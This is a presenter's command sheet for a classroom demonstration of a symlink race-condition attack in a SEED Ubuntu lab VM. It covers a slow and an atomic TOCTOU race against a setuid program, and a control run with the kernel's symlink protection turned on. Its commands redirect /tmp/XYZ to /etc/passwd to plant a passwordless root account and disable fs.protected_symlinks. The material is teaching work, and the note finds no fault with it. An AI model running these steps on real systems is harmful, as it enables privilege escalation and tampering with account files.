

Live commands — keep this beside you

Member 5 — ISSD | All commands run inside the SEED Ubuntu VM.

A = Attacker (left). B = Victim and results (right). Start as seed. Enter passwords directly in the prompted terminal. Use LIVE_DEMO.pdf for explanations and recovery.

Before class — both terminals, then B

Both:

```
cd /home/seed/issd-member5/lab-files
id
```

B:

```
bash ../automation/reset.sh
sudo chown root:root vulp vulp_slow vulp_least
bash ../automation/audit-setup.sh
```

Confirm seed UID 1000, clean baseline, controls 0/0 and root-owned 4755 victims. If a setup step fails, stop and resolve it. After checking setup, `c`lear each display if wanted.

Slide 3 → demo 1: explicit 10-second teaching delay

1 — A: initialize the writable link.

```
ln -s /dev/null /tmp/XYZ
ls -l /tmp/XYZ
```

2 — B: start the slow victim.

```
id
./vulp_slow < input.txt
```

3 — A: after “Check passed”, within those 10 seconds.

```
ln -sf /etc/passwd /tmp/XYZ
ls -l /tmp/XYZ
```

4 — B: wait for the victim to return; inspect and log in.

```
python3 ../automation/verify-record.py && su - test
```

At the su prompt press Enter for the validated empty password. In the resulting root shell:

```
id
whoami
exit
```

5 — B, back at seed:

```
id
bash ../automation/reset.sh
```

If login failed, you are already seed: skip the root-shell commands/exit. A missed window is a real failed attempt; reset and use recorded S06/S07 if needed. **Return to slide 4.**

Slide 5 → demo 2: genuine no-delay atomic race

1 — B: prepare a clean run and shared unique label.

```
bash ../automation/reset.sh
sudo sysctl -w fs.protected_symlinks=0
sudo sysctl -w fs.protected_regular=0
RUN=class-atomic-$(date +%Y%m%d-%H%M%S)
printf '%s\n' "$RUN" > ../class-demo-label.txt
```

2 — A: start the bounded attacker.

```
RUN=$(cat ../class-demo-label.txt)
python3 ../automation/lab_runner.py attack ./attack_atomic 90 "$RUN"
```

3 — B: only after A prints “Atomic switching active”.

```
RUN=$(cat ../class-demo-label.txt)
python3 ../automation/lab_runner.py monitor ./vulp 30 "$RUN"
```

The runner stops the attacker when the trial ends. If the target changed, verify it:

```
python3 ../automation/verify-record.py && su - test
```

Enter the validated empty password directly in B. In the actual root login: id, whoami, then exit. Back at seed: id, then bash ../automation/reset.sh. If the 30-second trial is unchanged, state the timeout and use the earlier recorded S09/S11 proof. **Return to slide 6.**

Slide 7 → demo 3: short OS-defence control — B only

All prior experiments and root logins must have ended.

```
bash ../automation/reset.sh
sudo sysctl -w fs.protected_symlinks=1
sudo sysctl -w fs.protected_regular=0
ln -s /dev/null /tmp/XYZ
ls -ld /tmp /tmp/XYZ
./vulp < input.txt
sha256sum -c ../passwd-before.sha256
grep '^test:' /etc/passwd || echo 'No test account'
```

Explain the actual denied open. This one-call control illustrates the rule; the 300-second findings on the slide are recorded lab trials. **Return to slide 8.**

After class or rehearsal — B, as seed

```
id
bash ../automation/cleanup.sh
```

Confirm clean baseline, no test account/processes/links, victims 0755 and final policy 1/2. Never use sudo to run an attacker/victim or to manufacture login proof. Full troubleshooting is in LIVE_DEMO.pdf.